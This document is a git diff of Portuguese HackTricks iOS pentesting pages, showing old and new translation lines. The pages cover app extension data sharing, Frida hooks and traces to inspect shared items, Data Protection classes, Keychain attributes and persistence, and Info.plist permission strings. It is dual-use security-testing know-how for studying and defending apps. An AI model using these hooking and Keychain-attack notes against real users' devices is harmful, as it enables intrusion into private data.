Lembre-se de que as extensões de aplicativos e seus aplicativos contenedores não têm acesso direto aos contêineres um do outro. No entanto, o compartilhamento de dados pode ser habilitado. Isso é feito por meio de ["Grupos de Aplicativos"](https://developer.apple.com/library/archive/documentation/Miscellaneous/Reference/EntitlementKeyReference/Chapters/EnablingAppSandbox.html#//apple_ref/doc/uid/TP40011195-CH4-SW19) e a API [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults). Veja esta figura do [Guia de Programação de Extensões de Aplicativos da Apple](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionScenarios.html#//apple_ref/doc/uid/TP40014214-CH21-SW11):
|
||||
|
||||
![](../../mobile-apps-pentesting/ios-pentesting/broken-reference)
|
||||
|
||||
Como também mencionado no guia, o aplicativo deve configurar um contêiner compartilhado se a extensão do aplicativo usar a classe `NSURLSession` para realizar um upload ou download em segundo plano, para que tanto a extensão quanto o aplicativo contenedor possam acessar os dados transferidos.
|
||||
Como também mencionado no guia, o aplicativo deve configurar um contêiner compartilhado se a extensão do aplicativo usar a classe `NSURLSession` para realizar um upload ou download em segundo plano, para que tanto a extensão quanto seu aplicativo contenedor possam acessar os dados transferidos.
|
||||
|
||||
**Verificando se o Aplicativo Restringe o Uso de Extensões de Aplicativos**
|
||||
|
||||
|
@ -112,24 +110,24 @@ Como também mencionado no guia, o aplicativo deve configurar um contêiner comp
|
|||
|
||||
* [`application:shouldAllowExtensionPointIdentifier:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623122-application?language=objc)
|
||||
|
||||
No entanto, atualmente, isso só é possível para extensões de aplicativos de "teclado personalizado" (e deve ser verificado ao testar aplicativos que lidam com dados sensíveis por meio do teclado, como aplicativos bancários, por exemplo).
|
||||
No entanto, atualmente isso é possível apenas para extensões de aplicativos de "teclado personalizado" (e deve ser verificado ao testar aplicativos que lidam com dados sensíveis pelo teclado, como por exemplo, aplicativos bancários).
|
||||
|
||||
### Análise Dinâmica
|
||||
|
||||
Para a análise dinâmica, podemos fazer o seguinte para obter conhecimento sem ter o código-fonte:
|
||||
|
||||
* Inspeção dos itens sendo compartilhados
|
||||
* Identificação das extensões de aplicativos envolvidas
|
||||
* Inspecionando os itens sendo compartilhados
|
||||
* Identificando as extensões de aplicativos envolvidas
|
||||
|
||||
**Inspeção dos Itens Sendo Compartilhados**
|
||||
**Inspecionando os Itens Sendo Compartilhados**
|
||||
|
||||
Para isso, devemos fazer hook em `NSExtensionContext - inputItems` no aplicativo de origem dos dados.
|
||||
Para isso, devemos interceptar `NSExtensionContext - inputItems` no aplicativo de origem dos dados.
|
||||
|
||||
Seguindo o exemplo anterior do Telegram, agora usaremos o botão "Compartilhar" em um arquivo de texto (que foi recebido de um chat) para criar uma nota no aplicativo Notas com ele:
|
||||
|
||||
![](<../../.gitbook/assets/image (497).png>)
|
||||
|
||||
Se executarmos um trace, veremos a seguinte saída:
|
||||
Se executarmos um rastreamento, veríamos a seguinte saída:
|
||||
```bash
|
||||
(0x1c06bb420) NSExtensionContext - inputItems
|
||||
0x18284355c Foundation!-[NSExtension _itemProviderForPayload:extensionContext:]
|
||||
|
@ -143,22 +141,22 @@ Se executarmos um trace, veremos a seguinte saída:
|
|||
RET: (
|
||||
"<NSExtensionItem: 0x1c420a540> - userInfo:
|
||||
{
|
||||
NSExtensionItemAttachmentsKey = (
|
||||
"<NSItemProvider: 0x1c46b30e0> {types = (\n \"public.plain-text\",\n \"public.file-url\"\n)}"
|
||||
);
|
||||
NSExtensionItemAttachmentsKey = (
|
||||
"<NSItemProvider: 0x1c46b30e0> {types = (\n \"public.plain-text\",\n \"public.file-url\"\n)}"
|
||||
);
|
||||
}"
|
||||
)
|
||||
```
|
||||
Aqui podemos observar que:
|
||||
|
||||
* Isso ocorreu nos bastidores via XPC, concretamente é implementado via `NSXPCConnection` que usa o Framework `libxpc.dylib`.
|
||||
* Os UTIs incluídos no `NSItemProvider` são `public.plain-text` e `public.file-url`, sendo este último incluído em `NSExtensionActivationRule` do [`Info.plist` da "Extensão de Compartilhamento" do Telegram](https://github.com/TelegramMessenger/Telegram-iOS/blob/master/Telegram/Share/Info.plist).
|
||||
* Isso ocorreu sob o capô via XPC, concretamente é implementado através de uma `NSXPCConnection` que usa o Framework `libxpc.dylib`.
|
||||
* Os UTIs incluídos no `NSItemProvider` são `public.plain-text` e `public.file-url`, sendo este último incluído na `NSExtensionActivationRule` do [`Info.plist` da "Share Extension" do Telegram](https://github.com/TelegramMessenger/Telegram-iOS/blob/master/Telegram/Share/Info.plist).
|
||||
|
||||
**Identificando as Extensões de Aplicativos Envolvidas**
|
||||
**Identificando as App Extensions Envolvidas**
|
||||
|
||||
Você também pode descobrir qual extensão de aplicativo está cuidando de suas solicitações e respostas conectando `NSExtension - _plugIn`:
|
||||
Você também pode descobrir qual app extension está cuidando das suas solicitações e respostas ao interceptar `NSExtension - _plugIn`:
|
||||
|
||||
Executamos novamente o mesmo exemplo:
|
||||
Executamos o mesmo exemplo novamente:
|
||||
```bash
|
||||
(0x1c0370200) NSExtension - _plugIn
|
||||
RET: <PKPlugin: 0x1163637f0 ph.telegra.Telegraph.Share(5.3) 5B6DE177-F09B-47DA-90CD-34D73121C785
|
||||
|
@ -170,27 +168,25 @@ RET: <PKPlugin: 0x10bff7910 com.apple.mobilenotes.SharingExtension(1.5) 73E4F137
|
|||
F90A1414DC 1(2) /private/var/containers/Bundle/Application/5E267B56-F104-41D0-835B-F1DAB9AE076D
|
||||
/MobileNotes.app/PlugIns/com.apple.mobilenotes.SharingExtension.appex>
|
||||
```
|
||||
Como você pode ver, existem duas extensões de aplicativos envolvidas:
|
||||
Como você pode ver, há duas extensões de aplicativo envolvidas:
|
||||
|
||||
* `Share.appex` está enviando o arquivo de texto (`public.plain-text` e `public.file-url`).
|
||||
* `com.apple.mobilenotes.SharingExtension.appex` que está recebendo e processará o arquivo de texto.
|
||||
|
||||
Se você quiser aprender mais sobre o que está acontecendo nos bastidores em termos de XPC, recomendamos dar uma olhada nas chamadas internas de "libxpc.dylib". Por exemplo, você pode usar [`frida-trace`](https://www.frida.re/docs/frida-trace/) e, em seguida, aprofundar-se nos métodos que você achar mais interessantes, estendendo os stubs gerados automaticamente.
|
||||
Se você quiser aprender mais sobre o que está acontecendo nos bastidores em termos de XPC, recomendamos dar uma olhada nas chamadas internas de "libxpc.dylib". Por exemplo, você pode usar [`frida-trace`](https://www.frida.re/docs/frida-trace/) e depois investigar mais a fundo os métodos que achar mais interessantes, estendendo os stubs gerados automaticamente.
|
||||
|
||||
###
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
- Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,152 +1,211 @@
|
|||
```markdown
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
- Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Separação de privilégios e sandbox
|
||||
# Separação de Privilégios e Sandbox
|
||||
|
||||
Os aplicativos aos quais o usuário pode acessar são executados como usuário **mobile**, enquanto os processos críticos do sistema são executados como **root**.\
|
||||
No entanto, o sandbox permite um melhor controle sobre as ações que os processos e aplicativos podem executar.
|
||||
Aplicações acessíveis pelo usuário rodam como o usuário **mobile** enquanto processos críticos do sistema rodam como **root**.\
|
||||
No entanto, o sandbox permite um melhor controle sobre ações que processos e aplicações podem executar.
|
||||
|
||||
Por exemplo, mesmo que dois processos sejam executados como o mesmo usuário (mobile), eles **não têm permissão para acessar ou modificar os dados um do outro**.
|
||||
Por exemplo, mesmo que dois processos rodem como o mesmo usuário (mobile), eles **não têm permissão para acessar ou modificar os dados um do outro**.
|
||||
|
||||
Cada aplicativo é instalado em **`private/var/mobile/Applications/{ID aleatório}`**\
|
||||
Uma vez instalados, os aplicativos têm acesso limitado de leitura a algumas áreas e funções do sistema (SMS, chamada telefônica...). Se um aplicativo quiser acessar uma **área protegida**, aparecerá uma **janela pop-up solicitando permissão**.
|
||||
Cada aplicação é instalada em **`private/var/mobile/Applications/{ID aleatório}`**\
|
||||
Uma vez instaladas, as aplicações têm acesso limitado de leitura a algumas áreas e funções do sistema (SMS, chamada telefônica...). Se uma aplicação deseja acessar uma **área protegida,** um **pop-up solicitando permissão** aparece.
|
||||
|
||||
# Proteção de dados
|
||||
# Proteção de Dados
|
||||
|
||||
Os desenvolvedores de aplicativos podem aproveitar as APIs de _Proteção de Dados_ do iOS para implementar **controle de acesso refinado** para os dados do usuário armazenados na memória flash. As APIs são construídas em cima do **Processador de Enclave Seguro** (SEP). O SEP é um coprocessador que fornece **operações criptográficas para proteção de dados e gerenciamento de chaves**. Uma chave de hardware específica do dispositivo - o **UID do dispositivo** (ID exclusivo) - é **incorporada no enclave seguro**, garantindo a integridade da proteção de dados mesmo quando o kernel do sistema operacional é comprometido.
|
||||
Desenvolvedores de aplicativos podem aproveitar as APIs de _Proteção de Dados_ do iOS para implementar **controle de acesso refinado** para dados do usuário armazenados na memória flash. As APIs são construídas em cima do **Secure Enclave Processor** (SEP). O SEP é um coprocessador que fornece **operações criptográficas para proteção de dados e gerenciamento de chaves**. Uma chave de hardware específica do dispositivo - o **device UID** (ID Único) - é **embutida no enclave seguro**, garantindo a integridade da proteção de dados mesmo quando o kernel do sistema operacional está comprometido.
|
||||
|
||||
Quando um **arquivo é criado** no disco, uma nova **chave AES de 256 bits é gerada** com a ajuda do gerador de números aleatórios baseado em hardware do enclave seguro. O **conteúdo do arquivo é então criptografado com a chave gerada**. E então, esta **chave é salva criptografada com uma chave de classe** juntamente com **o ID da classe**, com **ambos os dados criptografados pela chave do sistema**, dentro dos **metadados** do arquivo.
|
||||
Quando um **arquivo é criado** no disco, uma nova chave **AES de 256 bits é gerada** com a ajuda do gerador de números aleatórios baseado em hardware do enclave seguro. O **conteúdo do arquivo é então criptografado com a chave gerada**. E então, essa **chave é salva criptografada com uma chave de classe** junto com **o ID da classe,** com **ambos os dados criptografados pela chave do sistema,** dentro do **metadado** do arquivo.
|
||||
|
||||
![](<../../.gitbook/assets/image (473).png>)
|
||||
|
||||
Para descriptografar o arquivo, os **metadados são descriptografados usando a chave do sistema**. Em seguida, usando o **ID da classe**, a **chave da classe é recuperada** **para descriptografar a chave por arquivo e descriptografar o arquivo.**
|
||||
Para descriptografar o arquivo, o **metadado é descriptografado usando a chave do sistema**. Então, **usando o ID da classe** a **chave de classe é recuperada** **para descriptografar a chave do arquivo e descriptografar o arquivo.**
|
||||
|
||||
Os arquivos podem ser atribuídos a uma das **quatro** **classes de proteção** diferentes, que são explicadas com mais detalhes no [Guia de Segurança da Plataforma Apple](https://help.apple.com/pdf/security/en_US/apple-platform-security-guide.pdf):
|
||||
Arquivos podem ser atribuídos a uma de **quatro** **diferentes** **classes de proteção**, que são explicadas em mais detalhes no [Guia de Segurança da Plataforma Apple](https://help.apple.com/pdf/security/en_US/apple-platform-security-guide.pdf):
|
||||
|
||||
* **Proteção Completa (NSFileProtectionComplete)**: Uma chave derivada do código de acesso do usuário e do UID do dispositivo protege esta chave de classe. A chave derivada é apagada da memória pouco depois que o dispositivo é bloqueado, tornando os dados inacessíveis até que o usuário desbloqueie o dispositivo.
|
||||
* **Protegido a menos que aberto (NSFileProtectionCompleteUnlessOpen)**: Esta classe de proteção é semelhante à Proteção Completa, mas, se o arquivo for aberto quando desbloqueado, o aplicativo pode continuar a acessar o arquivo mesmo se o usuário bloquear o dispositivo
|
||||
* **Proteção Completa (NSFileProtectionComplete)**: Uma chave derivada do código de acesso do usuário e do device UID protege esta chave de classe. A chave derivada é apagada da memória logo após o dispositivo ser bloqueado, tornando os dados inacessíveis até que o usuário desbloqueie o dispositivo.
|
||||
* **Protegido a Menos que Aberto (NSFileProtectionCompleteUnlessOpen)**: Esta classe de proteção é semelhante à Proteção Completa, mas, se o arquivo estiver aberto quando desbloqueado, o aplicativo pode continuar acessando o arquivo mesmo se o usuário bloquear o dispositivo. Esta classe de proteção é usada quando, por exemplo, um anexo de e-mail está sendo baixado em segundo plano.
|
||||
* **Protegido Até a Primeira Autenticação do Usuário (NSFileProtectionCompleteUntilFirstUserAuthentication)**: O arquivo pode ser acessado assim que o usuário desbloquear o dispositivo pela primeira vez após a inicialização. Ele pode ser acessado mesmo se o usuário bloquear o dispositivo subsequentemente e a chave de classe não for removida da memória.
|
||||
* **Sem Proteção (NSFileProtectionNone)**: A chave para esta classe de proteção é protegida apenas com o UID. A chave de classe é armazenada em "Armazenamento Apagável", que é uma região da memória flash no dispositivo iOS que permite o armazenamento de pequenas quantidades de dados. Esta classe de proteção existe para apagamento remoto rápido (deleção imediata da chave de classe, o que torna os dados inacessíveis).
|
||||
|
||||
Todas as chaves de classe, exceto `NSFileProtectionNone`, são criptografadas com uma chave derivada do device UID e do código de acesso do usuário. Como resultado, a descriptografia só pode ocorrer no próprio dispositivo e requer o código de acesso correto.
|
||||
|
||||
Desde o iOS 7, a classe de proteção de dados padrão é "Protegido Até a Primeira Autenticação do Usuário".
|
||||
|
||||
[**FileDP**](https://github.com/abjurato/FileDp-Source) é um programa que você pode carregar e usar dentro do iPhone para **inspecionar a classe de proteção de dados** de cada arquivo.
|
||||
|
||||
## O Keychain
|
||||
|
||||
O keychain é um **container criptografado** onde cada aplicativo pode **armazenar** pedaços de **informação sensível** e apenas o mesmo aplicativo (ou aplicativos autorizados) pode recuperar o conteúdo.\
|
||||
O iOS **gera sua própria senha para o keychain** e **armazena** uma versão **criptografada** desta chave no dispositivo. Esta senha é criptografada com AES usando uma chave AES criada por uma função **PBKDF2** do **código de acesso do usuário + sal** (o **UID de 256 bits do dispositivo** **acessível** **apenas** pelo chipset do enclave **seguro** no dispositivo). Devido ao uso deste UID do dispositivo como sal, um dispositivo não será capaz de descriptografar o keychain de um dispositivo diferente mesmo conhecendo o código de acesso dos usuários.
|
||||
|
||||
O acesso ao Keychain é gerenciado pelo daemon **`securityd`**, que concede acesso de acordo com os `Keychain-access-groups`, `application-identifier` e `application-group` entitlements do aplicativo.
|
||||
|
||||
A [API Keychain](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html) inclui as seguintes operações principais:
|
||||
|
||||
* `SecItemAdd`
|
||||
* `SecItemUpdate`
|
||||
* `SecItemCopyMatching`
|
||||
* `SecItemDelete`
|
||||
|
||||
As únicas maneiras de tentar força bruta (BF) nesta senha é despejando a chave criptografada e BF o código de acesso + sal (a função **pbkdf2** usa **pelo menos 10000 iterações**). Ou tentando **BF dentro do dispositivo** para evitar BFing o sal, no entanto, o enclave seguro garante que haja pelo menos um **atraso de 5s entre 2 tentativas de senha falhadas**.
|
||||
|
||||
Você pode configurar **proteção de dados para itens do Keychain** definindo a chave `kSecAttrAccessible` na chamada para `SecItemAdd` ou `SecItemUpdate`. Os seguintes valores de acessibilidade configuráveis para kSecAttrAccessible são as classes de Proteção de Dados do Keychain:
|
||||
|
||||
* **`kSecAttrAccessibleAlways`**: Os dados no item do Keychain podem **sempre ser acessados**, independentemente de o dispositivo estar bloqueado.
|
||||
* **`kSecAttrAccessibleAlwaysThisDeviceOnly`**: Os dados no item do Keychain podem **sempre** **ser** **acessados**, independentemente de o dispositivo estar bloqueado. Os dados **não serão incluídos em um backup do iCloud** ou local.
|
||||
* **`kSecAttrAccessibleAfterFirstUnlock`**: Os dados no item do Keychain não podem ser acessados após uma reinicialização até que o **dispositivo tenha sido desbloqueado uma vez** pelo usuário.
|
||||
* **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: Os dados no item do Keychain não podem ser acessados após uma reinicialização até que o **dispositivo tenha sido desbloqueado uma vez** pelo usuário. Itens com este atributo **não migram para um novo dispositivo**. Assim, após restaurar de um backup de um dispositivo diferente, esses itens não estarão presentes.
|
||||
* **`kSecAttrAccessibleWhenUnlocked`**: Os dados no item do Keychain podem ser acessados **apenas enquanto o dispositivo está desbloqueado** pelo usuário.
|
||||
* **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**: Os dados no item do Keychain podem ser acessados **apenas enquanto o dispositivo está desbloqueado** pelo usuário. Os dados **não serão incluídos em um backup do iCloud ou local**.
|
||||
* **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: Os dados no Keychain podem ser acessados **apenas quando o dispositivo está desbloqueado**. Esta classe de proteção **está disponível apenas se um código de acesso estiver configurado** no dispositivo. Os dados **não serão incluídos em um backup do iCloud ou local**.
|
||||
|
||||
**`AccessControlFlags`** definem os mecanismos com os quais os usuários podem autenticar a chave (`SecAccessControlCreateFlags`):
|
||||
|
||||
* **`kSecAccessControlDevicePasscode`**: Acessar o item via um código de acesso.
|
||||
* **`kSecAccessControlBiometryAny`**: Acessar o item via uma das impressões digitais registradas no Touch ID. Adicionar ou remover uma impressão digital não invalidará o item.
|
||||
* **`kSecAccessControlBiometryCurrentSet`**: Acessar o item via uma das impressões digitais registradas no Touch ID. Adicionar ou remover uma impressão digital _irá_ invalidar o item.
|
||||
* **`kSecAccessControlUserPresence`**: Acessar o item via uma das impressões digitais registradas (usando Touch ID) ou recorrer ao código de acesso.
|
||||
|
||||
Observe que as chaves protegidas pelo Touch ID (via `kSecAccessControlBiometryAny` ou `kSecAccessControlBiometryCurrentSet`) são protegidas pelo Secure Enclave: O Keychain mantém apenas um token, não a chave real. A chave reside no Secure Enclave.
|
||||
|
||||
O iPhone usa o **código de acesso introduzido pelo usuário ao desbloquear o dispositivo para descriptografar os segredos no keychain**.
|
||||
|
||||
O iOS usa o _**AppIdentifierPrefix**_ (ID da Equipe) e o _**BundleIdentifier**_ (fornecido pelo desenvolvedor) para impor **controle de acesso sobre itens do keychain**. Então, a mesma equipe **pode** **configurar** **2 aplicativos para compartilhar itens do keychain**.
|
||||
|
||||
Quando um processo de backup é iniciado, os **dados do keychain que são salvos permanecem criptografados e a senha do keychain não está incluída no backup**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
**Em um dispositivo com jailbreak, o keychain não está protegido.**
|
||||
{% endhint %}
|
||||
|
||||
### **Persistência de Dados do Keychain**
|
||||
|
||||
No iOS, quando um aplicativo é desinstalado, os dados do Keychain usados pelo aplicativo são retidos pelo dispositivo, ao contrário dos dados armazenados pelo sandbox do aplicativo, que são apagados. No caso de um **usuário vender seu dispositivo sem realizar uma redefinição de fábrica, o comprador do dispositivo pode ser capaz de acessar as contas de aplicativos e dados do usuário anterior reinstalando** os mesmos aplicativos usados pelo usuário anterior. Isso não requereria habilidade técnica para ser realizado.
|
||||
|
||||
Não há uma API do iOS que os desenvolvedores possam usar para forçar a limpeza de dados quando um aplicativo é desinstalado. Em vez disso, os desenvolvedores devem tomar as seguintes medidas para evitar que os dados do Keychain persistam entre instalações de aplicativos:
|
||||
|
||||
* Quando um aplicativo é lançado pela primeira vez após a instalação, limpe todos os dados do Keychain associados ao aplicativo. Isso impedirá que o segundo usuário do dispositivo ganhe acesso acidental às contas do usuário anterior. O seguinte exemplo em Swift é uma demonstração básica deste procedimento de limpeza:
|
||||
```
|
||||
```objectivec
|
||||
let userDefaults = UserDefaults.standard
|
||||
|
||||
if userDefaults.bool(forKey: "hasRunBefore") == false {
|
||||
// Remove Keychain items here
|
||||
// Remove Keychain items here
|
||||
|
||||
// Update the flag indicator
|
||||
userDefaults.set(true, forKey: "hasRunBefore")
|
||||
userDefaults.synchronize() // Forces the app to update UserDefaults
|
||||
// Update the flag indicator
|
||||
userDefaults.set(true, forKey: "hasRunBefore")
|
||||
userDefaults.synchronize() // Forces the app to update UserDefaults
|
||||
}
|
||||
```
|
||||
* Ao desenvolver a funcionalidade de logout para um aplicativo iOS, certifique-se de que os dados do Keychain sejam apagados como parte do logout da conta. Isso permitirá que os usuários limpem suas contas antes de desinstalar um aplicativo.
|
||||
* Ao desenvolver a funcionalidade de logout para uma aplicação iOS, certifique-se de que os dados do Keychain são apagados como parte do logout da conta. Isso permitirá que os usuários limpem suas contas antes de desinstalar uma aplicação.
|
||||
|
||||
# **Capacidades do aplicativo**
|
||||
# **Capacidades da Aplicação**
|
||||
|
||||
**Cada aplicativo tem um diretório inicial exclusivo e é isolado**, de modo que não pode acessar recursos do sistema protegidos ou arquivos armazenados pelo sistema ou por outros aplicativos. Essas restrições são implementadas por meio de políticas de sandbox (também conhecidas como _perfis_), que são aplicadas pelo [Trusted BSD (MAC) Mandatory Access Control Framework](http://www.trustedbsd.org/mac.html) por meio de uma extensão do kernel.
|
||||
**Cada aplicação tem um diretório caseiro único e é isolada (sandboxed)**, de modo que não podem acessar recursos protegidos do sistema ou arquivos armazenados pelo sistema ou por outras aplicações. Essas restrições são implementadas através de políticas de sandbox (também conhecidas como _profiles_), que são aplicadas pelo [Trusted BSD (MAC) Mandatory Access Control Framework](http://www.trustedbsd.org/mac.html) através de uma extensão do kernel.
|
||||
|
||||
Algumas [**capacidades/ permissões**](https://help.apple.com/developer-account/#/dev21218dfd6) podem ser configuradas pelos desenvolvedores do aplicativo (por exemplo, Proteção de Dados ou Compartilhamento de Keychain) e terão efeito direto após a instalação. No entanto, para outras, **o usuário será explicitamente solicitado na primeira vez que o aplicativo tentar acessar um recurso protegido**.
|
||||
Algumas [**capacidades/permissões**](https://help.apple.com/developer-account/#/dev21218dfd6) podem ser configuradas pelos desenvolvedores da aplicação (por exemplo, Proteção de Dados ou Compartilhamento de Keychain) e terão efeito direto após a instalação. No entanto, para outras, **o usuário será explicitamente solicitado na primeira vez que a aplicação tentar acessar um recurso protegido**.
|
||||
|
||||
As [_strings de propósito_](https://developer.apple.com/documentation/uikit/core\_app/protecting\_the\_user\_s\_privacy/accessing\_protected\_resources?language=objc#3037322) ou _strings de descrição de uso_ são textos personalizados que são oferecidos aos usuários no alerta de solicitação de permissão do sistema ao solicitar permissão para acessar dados ou recursos protegidos.
|
||||
[_Purpose strings_](https://developer.apple.com/documentation/uikit/core_app/protecting_the_user_s_privacy/accessing_protected_resources?language=objc#3037322) ou _strings de descrição de uso_ são textos personalizados que são oferecidos aos usuários no alerta de solicitação de permissão do sistema ao pedir permissão para acessar dados ou recursos protegidos.
|
||||
|
||||
![](https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc\_%2F-Lf1AQw8W2q7BB5-il7r%2Fpermission\_request\_alert.png?alt=media)
|
||||
![](https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc_%2F-Lf1AQw8W2q7BB5-il7r%2Fpermission_request_alert.png?alt=media)
|
||||
|
||||
Se tiver o código-fonte original, você pode verificar as permissões incluídas no arquivo `Info.plist`:
|
||||
|
||||
* Abra o projeto com o Xcode.
|
||||
* Encontre e abra o arquivo `Info.plist` no editor padrão e procure as chaves que começam com `"Privacy -"`.
|
||||
* Encontre e abra o arquivo `Info.plist` no editor padrão e procure pelas chaves que começam com `"Privacy -"`.
|
||||
|
||||
Você pode alternar a exibição para exibir os valores brutos clicando com o botão direito e selecionando "Mostrar chaves/valores brutos" (desta forma, por exemplo, `"Privacy - Location When In Use Usage Description"` se transformará em `NSLocationWhenInUseUsageDescription`).
|
||||
Você pode mudar a visualização para exibir os valores brutos clicando com o botão direito e selecionando "Show Raw Keys/Values" (desta forma, por exemplo, `"Privacy - Location When In Use Usage Description"` se transformará em `NSLocationWhenInUseUsageDescription`).
|
||||
|
||||
Se tiver apenas o IPA:
|
||||
|
||||
* Descompacte o IPA.
|
||||
* O arquivo `Info.plist` está localizado em `Payload/<nome_do_aplicativo>.app/Info.plist`.
|
||||
* Converta-o, se necessário (por exemplo, `plutil -convert xml1 Info.plist`) conforme explicado no capítulo "Teste de segurança básico do iOS", seção "O arquivo Info.plist".
|
||||
* Inspeccione todas as chaves _strings de propósito Info.plist_, geralmente terminando com `UsageDescription`:
|
||||
* O `Info.plist` está localizado em `Payload/<appname>.app/Info.plist`.
|
||||
* Converta-o se necessário (por exemplo, `plutil -convert xml1 Info.plist`) conforme explicado no capítulo "iOS Basic Security Testing", seção "The Info.plist File".
|
||||
* Inspecione todas as _chaves de strings de propósito no Info.plist_, geralmente terminando com `UsageDescription`:
|
||||
|
||||
```markup
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>NSLocationWhenInUseUsageDescription</key>
|
||||
<string>Sua localização é usada para fornecer instruções de navegação para o seu destino.</string>
|
||||
```
|
||||
```markup
|
||||
